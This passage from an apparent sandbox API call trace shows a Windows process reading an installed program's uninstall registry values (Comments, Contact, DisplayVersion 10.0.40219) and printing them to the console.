lpUsedDefaultChar=0x0) returned 1 [0147.032] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.032] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.032] GetProcessHeap () returned 0x2e0000 [0147.032] GetProcessHeap () returned 0x2e0000 [0147.032] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.032] GetProcessHeap () returned 0x2e0000 [0147.032] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.032] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.032] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.032] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x9c) returned 0x0 [0147.032] GetProcessHeap () returned 0x2e0000 [0147.032] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x9e) returned 0x2fd170 [0147.032] GetProcessHeap () returned 0x2e0000 [0147.032] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0147.032] GetProcessHeap () returned 0x2e0000 [0147.032] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x9e [0147.032] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0x9c | out: pdwType=0x23f5f0*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x23f670*=0x9a) returned 0x0 [0147.032] __iob_func () returned 0x7fefd702a80 [0147.032] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.033] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.033] _fileno (_File=0x7fefd702ab0) returned 1 [0147.033] _errno () returned 0xc4bb0 [0147.033] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.033] _errno () returned 0xc4bb0 [0147.033] GetFileType (hFile=0x50) returned 0x1 [0147.033] lstrlenW (lpString=" ") returned 4 [0147.033] GetConsoleOutputCP () returned 0x1b5 [0147.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.033] GetConsoleOutputCP () returned 0x1b5 [0147.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.033] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.033] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.033] lstrlenW (lpString="Comments") returned 8 [0147.033] __iob_func () returned 0x7fefd702a80 [0147.033] _fileno (_File=0x7fefd702ab0) returned 1 [0147.033] _errno () returned 0xc4bb0 [0147.033] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.033] _errno () returned 0xc4bb0 [0147.033] GetFileType (hFile=0x50) returned 0x1 [0147.033] lstrlenW (lpString="Comments") returned 8 [0147.033] GetConsoleOutputCP () returned 0x1b5 [0147.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.034] GetConsoleOutputCP () returned 0x1b5 [0147.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0147.034] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.034] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.034] __iob_func () returned 0x7fefd702a80 [0147.034] _fileno (_File=0x7fefd702ab0) returned 1 [0147.034] _errno () returned 0xc4bb0 [0147.034] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.034] _errno () returned 0xc4bb0 [0147.034] GetFileType (hFile=0x50) returned 0x1 [0147.034] lstrlenW (lpString=" ") returned 4 [0147.034] GetConsoleOutputCP () returned 0x1b5 [0147.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.034] GetConsoleOutputCP () returned 0x1b5 [0147.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.034] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.034] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.034] __iob_func () returned 0x7fefd702a80 [0147.034] _fileno (_File=0x7fefd702ab0) returned 1 [0147.034] _errno () returned 0xc4bb0 [0147.034] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.034] _errno () returned 0xc4bb0 [0147.034] GetFileType (hFile=0x50) returned 0x1 [0147.035] lstrlenW (lpString="REG_SZ") returned 6 [0147.035] GetConsoleOutputCP () returned 0x1b5 [0147.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.035] GetConsoleOutputCP () returned 0x1b5 [0147.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.035] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.035] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.035] __iob_func () returned 0x7fefd702a80 [0147.035] _fileno (_File=0x7fefd702ab0) returned 1 [0147.035] _errno () returned 0xc4bb0 [0147.035] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.035] _errno () returned 0xc4bb0 [0147.035] GetFileType (hFile=0x50) returned 0x1 [0147.035] lstrlenW (lpString=" ") returned 4 [0147.035] GetConsoleOutputCP () returned 0x1b5 [0147.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.035] GetConsoleOutputCP () returned 0x1b5 [0147.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.035] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.036] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.036] __iob_func () returned 0x7fefd702a80 [0147.036] _fileno (_File=0x7fefd702ab0) returned 1 [0147.036] _errno () returned 0xc4bb0 [0147.036] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.036] _errno () returned 0xc4bb0 [0147.036] GetFileType (hFile=0x50) returned 0x1 [0147.036] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0147.036] GetConsoleOutputCP () returned 0x1b5 [0147.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0147.036] GetConsoleOutputCP () returned 0x1b5 [0147.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0147.036] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0147.036] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.036] __iob_func () returned 0x7fefd702a80 [0147.036] _fileno (_File=0x7fefd702ab0) returned 1 [0147.036] _errno () returned 0xc4bb0 [0147.036] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.036] _errno () returned 0xc4bb0 [0147.036] GetFileType (hFile=0x50) returned 0x1 [0147.036] lstrlenW (lpString="\n") returned 1 [0147.036] GetConsoleOutputCP () returned 0x1b5 [0147.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.037] GetConsoleOutputCP () returned 0x1b5 [0147.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.037] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.037] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.037] GetProcessHeap () returned 0x2e0000 [0147.037] GetProcessHeap () returned 0x2e0000 [0147.037] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0147.037] GetProcessHeap () returned 0x2e0000 [0147.037] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x9e [0147.037] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0147.037] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.037] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.037] GetProcessHeap () returned 0x2e0000 [0147.037] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.037] GetProcessHeap () returned 0x2e0000 [0147.037] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.037] GetProcessHeap () returned 0x2e0000 [0147.037] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.037] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.037] __iob_func () returned 0x7fefd702a80 [0147.037] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.037] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.037] _fileno (_File=0x7fefd702ab0) returned 1 [0147.037] _errno () returned 0xc4bb0 [0147.037] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.037] _errno () returned 0xc4bb0 [0147.037] GetFileType (hFile=0x50) returned 0x1 [0147.038] lstrlenW (lpString=" ") returned 4 [0147.038] GetConsoleOutputCP () returned 0x1b5 [0147.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.038] GetConsoleOutputCP () returned 0x1b5 [0147.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.038] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.038] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.038] lstrlenW (lpString="Contact") returned 7 [0147.038] __iob_func () returned 0x7fefd702a80 [0147.038] _fileno (_File=0x7fefd702ab0) returned 1 [0147.038] _errno () returned 0xc4bb0 [0147.038] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.038] _errno () returned 0xc4bb0 [0147.038] GetFileType (hFile=0x50) returned 0x1 [0147.038] lstrlenW (lpString="Contact") returned 7 [0147.038] GetConsoleOutputCP () returned 0x1b5 [0147.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.038] GetConsoleOutputCP () returned 0x1b5 [0147.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0147.038] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.039] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.039] __iob_func () returned 0x7fefd702a80 [0147.039] _fileno (_File=0x7fefd702ab0) returned 1 [0147.039] _errno () returned 0xc4bb0 [0147.039] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.039] _errno () returned 0xc4bb0 [0147.039] GetFileType (hFile=0x50) returned 0x1 [0147.039] lstrlenW (lpString=" ") returned 4 [0147.039] GetConsoleOutputCP () returned 0x1b5 [0147.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.039] GetConsoleOutputCP () returned 0x1b5 [0147.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.039] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.039] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.039] __iob_func () returned 0x7fefd702a80 [0147.039] _fileno (_File=0x7fefd702ab0) returned 1 [0147.039] _errno () returned 0xc4bb0 [0147.039] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.039] _errno () returned 0xc4bb0 [0147.039] GetFileType (hFile=0x50) returned 0x1 [0147.039] lstrlenW (lpString="REG_SZ") returned 6 [0147.039] GetConsoleOutputCP () returned 0x1b5 [0147.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.040] GetConsoleOutputCP () returned 0x1b5 [0147.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.040] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.040] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.040] __iob_func () returned 0x7fefd702a80 [0147.040] _fileno (_File=0x7fefd702ab0) returned 1 [0147.040] _errno () returned 0xc4bb0 [0147.040] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.040] _errno () returned 0xc4bb0 [0147.040] GetFileType (hFile=0x50) returned 0x1 [0147.040] lstrlenW (lpString=" ") returned 4 [0147.040] GetConsoleOutputCP () returned 0x1b5 [0147.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.040] GetConsoleOutputCP () returned 0x1b5 [0147.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.040] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.040] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.040] __iob_func () returned 0x7fefd702a80 [0147.040] _fileno (_File=0x7fefd702ab0) returned 1 [0147.040] _errno () returned 0xc4bb0 [0147.040] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.040] _errno () returned 0xc4bb0 [0147.041] GetFileType (hFile=0x50) returned 0x1 [0147.041] lstrlenW (lpString="") returned 0 [0147.041] __iob_func () returned 0x7fefd702a80 [0147.041] _fileno (_File=0x7fefd702ab0) returned 1 [0147.041] _errno () returned 0xc4bb0 [0147.041] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.041] _errno () returned 0xc4bb0 [0147.041] GetFileType (hFile=0x50) returned 0x1 [0147.041] lstrlenW (lpString="\n") returned 1 [0147.041] GetConsoleOutputCP () returned 0x1b5 [0147.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.041] GetConsoleOutputCP () returned 0x1b5 [0147.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.041] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.041] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.041] GetProcessHeap () returned 0x2e0000 [0147.041] GetProcessHeap () returned 0x2e0000 [0147.041] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.041] GetProcessHeap () returned 0x2e0000 [0147.041] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.041] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.041] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.041] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x18) returned 0x0 [0147.041] GetProcessHeap () returned 0x2e0000 [0147.041] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1a) returned 0x2f5bf0 [0147.042] GetProcessHeap () returned 0x2e0000 [0147.042] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.042] GetProcessHeap () returned 0x2e0000 [0147.042] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0147.042] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x18 | out: pdwType=0x23f5f0*=0x1, pvData="10.0.40219", pcbData=0x23f670*=0x16) returned 0x0 [0147.042] __iob_func () returned 0x7fefd702a80 [0147.042] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.042] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.042] _fileno (_File=0x7fefd702ab0) returned 1 [0147.042] _errno () returned 0xc4bb0 [0147.042] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.042] _errno () returned 0xc4bb0 [0147.042] GetFileType (hFile=0x50) returned 0x1 [0147.042] lstrlenW (lpString=" ") returned 4 [0147.042] GetConsoleOutputCP () returned 0x1b5 [0147.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.042] GetConsoleOutputCP () returned 0x1b5 [0147.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.042] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.042] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.042] lstrlenW (lpString="DisplayVersion") returned 14 [0147.042] __iob_func () returned 0x7fefd702a80 [0147.042] _fileno (_File=0x7fefd702ab0) returned 1 [0147.042] _errno () returned 0xc4bb0 [0147.042] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.042] _errno () returned 0xc4bb0 [0147.042] GetFileType (hFile=0x50) returned 0x1 [0147.042] lstrlenW (lpString="DisplayVersion") returned 14 [0147.043] GetConsoleOutputCP () returned 0x1b5 [0147.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.043] GetConsoleOutputCP () returned 0x1b5 [0147.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0147.043] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.043] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.043] __iob_func () returned 0x7fefd702a80 [0147.043] _fileno (_File=0x7fefd702ab0) returned 1 [0147.043] _errno () returned 0xc4bb0 [0147.043] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.043] _errno () returned 0xc4bb0 [0147.043] GetFileType (hFile=0x50) returned 0x1 [0147.043] lstrlenW (lpString=" ") returned 4 [0147.043] GetConsoleOutputCP () returned 0x1b5 [0147.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.043] GetConsoleOutputCP () returned 0x1b5 [0147.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.043] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.043] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.044] __iob_func () returned 0x7fefd702a80 [0147.044] _fileno (_File=0x7fefd702ab0) returned 1 [0147.044] _errno () returned 0xc4bb0 [0147.044] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.044] _errno () returned 0xc4bb0 [0147.044] GetFileType (hFile=0x50) returned 0x1 [0147.044] lstrlenW (lpString="REG_SZ") returned 6 [0147.044] GetConsoleOutputCP () returned 0x1b5 [0147.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.044] GetConsoleOutputCP () returned 0x1b5 [0147.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.044] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.044] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.044] __iob_func () returned 0x7fefd702a80 [0147.044] _fileno (_File=0x7fefd702ab0) returned 1 [0147.044] _errno () returned 0xc4bb0 [0147.044] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.044] _errno () returned 0xc4bb0 [0147.044] GetFileType (hFile=0x50) returned 0x1 [0147.044] lstrlenW (lpString=" ") returned 4 [0147.044] GetConsoleOutputCP () returned 